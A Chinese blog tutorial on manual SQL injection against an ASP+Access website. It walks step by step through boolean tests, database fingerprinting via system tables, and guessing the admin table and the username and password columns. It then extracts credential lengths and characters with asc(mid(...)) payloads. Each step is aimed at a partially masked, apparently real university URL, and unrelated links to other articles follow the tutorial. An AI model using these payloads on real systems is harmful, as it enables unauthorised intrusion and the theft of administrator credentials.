SQL注入这么长时间,看见有的朋友还是不会手工注入,那么我来演示一下。高手略过。

我们大家知道,一般注入产生在没经过虑的变量上,像ID?=XX这样的。

下面以这个网址为例:

http://zsb.xxx.edu.cn/2j.asp?id=24 and 1=1 返回了正常

http://zsb.xxx.edu.cn/2j.asp?id=24 and 1=2 返回了错误

1=1是一个真,1=2是一假,所以会返回一个正常一个错误。

SQL数据就会变成如下:

select * from 表名 where 字段='24'

或者:

http://zsb.xxx.edu.cn/2j.asp?id=24 and '1'='1'

http://zsb.xxx.edu.cn/2j.asp?id=24 and '1'='2'

注入存在了,判断数据库是ACC或MSS的,利用系统表

ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,

在WEB环境下有访问权限。对于以下两条语句:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from sysobjects)>0

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from msysobjects)>0

若数据库是SQL-SERVE,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常。

我们提交后两条后都为异常,可以判断为ACC的数据库。

图3。

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from 表名)>0

如果表名存在就会返回正常,反页错误。

刚开始我提交:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from admin)>0

返回错误,说明不存在ADMIN这个表,当后来提交这个返回正常:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from article_admin)>0

说明存在article_admin这个表。

猜列名:

and (select count(字段名) from article_admin)>0

提交:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(username) from article_admin)>0

返回了正常,接着提交:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(password) from article_admin)>0

返回了正常,说明存在username和password这两个字段名。

猜用户名和密码长度;

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 len(username) from article_admin)=5

返回正常,说明username内容长度为5

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 len(password) from article_admin)=16

正常,password内容长度为16,也就是MD5的值。

猜用户名和密码内容:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 asc(mid(username,1,1)) from article_admin)=97

返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。

猜第二位把username,1,1改成username,2,1就可以了。

猜密码把username改成password就OK了

ASP+ACCESS手工注入详解的更多相关文章

  1. 安全测试基础-SQL注入详解

    1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...

  2. ASP.NET 操作Cookie详解 增加,修改,删除

    ASP.NET 操作Cookie详解 增加,修改,删除 Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份而储存在用户本地终端上的数据(通常经过加密).定义于RFC2109.它 ...

  3. ASP.NET 运行时详解 揭开请求过程神秘面纱

    对于ASP.NET开发,排在前五的话题离不开请求生命周期.像什么Cache.身份认证.Role管理.Routing映射,微软到底在请求过程中干了哪些隐秘的事,现在是时候揭晓了.抛开乌云见晴天,接下来就 ...

  4. ASP.NET运行时详解 集成模式和经典模式

    遗留问题 在<ASP.NET运行时详解 生命周期入口分析>中遗留两个问题,包括Application的InitInternal方法执行细节.IIS6和II7经典模式请求管道管理类Appli ...

  5. ASP.NET生命周期详解

    最近一直在学习ASP.NET MVC的生命周期,发现ASP.NET MVC是建立在ASP.NET Framework基础之上的,所以原来对于ASP.NET WebForm中的很多处理流程,如管道事件等 ...

  6. ASP.NET生命周期详解 [转]

    最近一直在学习ASP.NET MVC的生命周期,发现ASP.NET MVC是建立在ASP.NET Framework基础之上的,所以原来对于ASP.NET WebForm中的很多处理流程,如管道事件等 ...

  7. ASP.NET生命周期详解(转)

    看到好文章需要分享. 最近一直在学习ASP.NET MVC的生命周期,发现ASP.NET MVC是建立在ASP.NET Framework基础之上的,所以原来对于ASP.NET WebForm中的很多 ...

  8. 如何利用IIS调试ASP.NET网站程序详解

    如何利用IIS调试ASP.NET网站程序详解 更新时间:2019年01月13日 08:44:13   作者:江湖逍遥    我要评论   这篇文章主要给大家介绍了关于如何利用IIS调试ASP.NET网 ...

  9. 手工注入——access手工注入实战和分析

    今天进行了access手工注入,下面是我的实战过程和总结. 实战环境使用的是墨者学院的在线靶场.下面咱们直接进入主题. 第一步,判断注入点 通过‘ 或者 and 1=1 和 and 1=2 是否报错, ...

随机推荐

  1. python 3 安装 scrapy 并运行成功

    今天,python 3 安装 scrapy, 并运行成功.特此纪念! 我的环境:windows 10(64位) + python 3.5.2(64位) 其中几个要点说明一下: 1.有几个依赖库需要事先 ...

  2. Linq To Entities 及其相关

    说到Linq,很多人都非常熟悉,我们可以很方便的用它来操纵对象的集合.今天要说的是Linq To Entities及其相关的操作.下面一步一步的来进行.这里我着重强调的是语法上面的一些注意点.所以怎么 ...

  3. linux查看系统信息命令

    本文转载自江一<linux查看系统信息命令> # uname -a # 查看内核/操作系统/CPU信息 # head -n 1 /etc/issue # 查看操作系统版本 # cat /p ...

  4. swifter技巧(100)

    一.swift新元素 Tip1:柯里化 将方法进行柯里化,把接受多个参数的方法变换成接受第一个参数的方法,并且返回接受余下的参数,返回结果的新方法. func addTwoNumbers(a: Int ...

  5. Java JSON、XML文件/字符串与Bean对象互转解析

    前言      在做web或者其他项目中,JSON与XML格式的数据是大家经常会碰见的2种.在与各种平台做数据对接的时候,JSON与XML格式也是基本的数据传递格式,本文主要简单的介绍JSON/XML ...

  6. PCA和LDA降维的比较

    PCA 主成分分析方法,LDA 线性判别分析方法,可以认为是有监督的数据降维.下面的代码分别实现了两种降维方式: print(__doc__) import matplotlib.pyplot as ...

  7. 常用的user32API说明

    整理了一下常用的user32API说明 还有软件Microsoft Spy++供大家下载  Spyv10.00.30319.rar using System; using System.Collect ...

  8. java 中Handler 和Runnable 的使用 异步发送消息 转

    public class MainActivity extends Activity { TextView text1, text2; Button button; Thread th; @Overr ...

  9. Jquery each() 如何操作动态添加的DOM元素

    JQ each页面上的DOM元素的时候,如果有一部分的DOM是ajax异步加载的,那么each可能遍历不到元素,异步请求数据的同时不会影响后面的代码执行,今天就遇到这个问题了, 解决方案是讲ajax改 ...

  10. 启动tomcat报错 Could not reserve enough space for object heap的解决办法

    问题:打开eclips启动tomcat发现报出Could not reserve enough space for object heap错误. 解决办法:1.首先检查tomcat是否能正常启动.re ...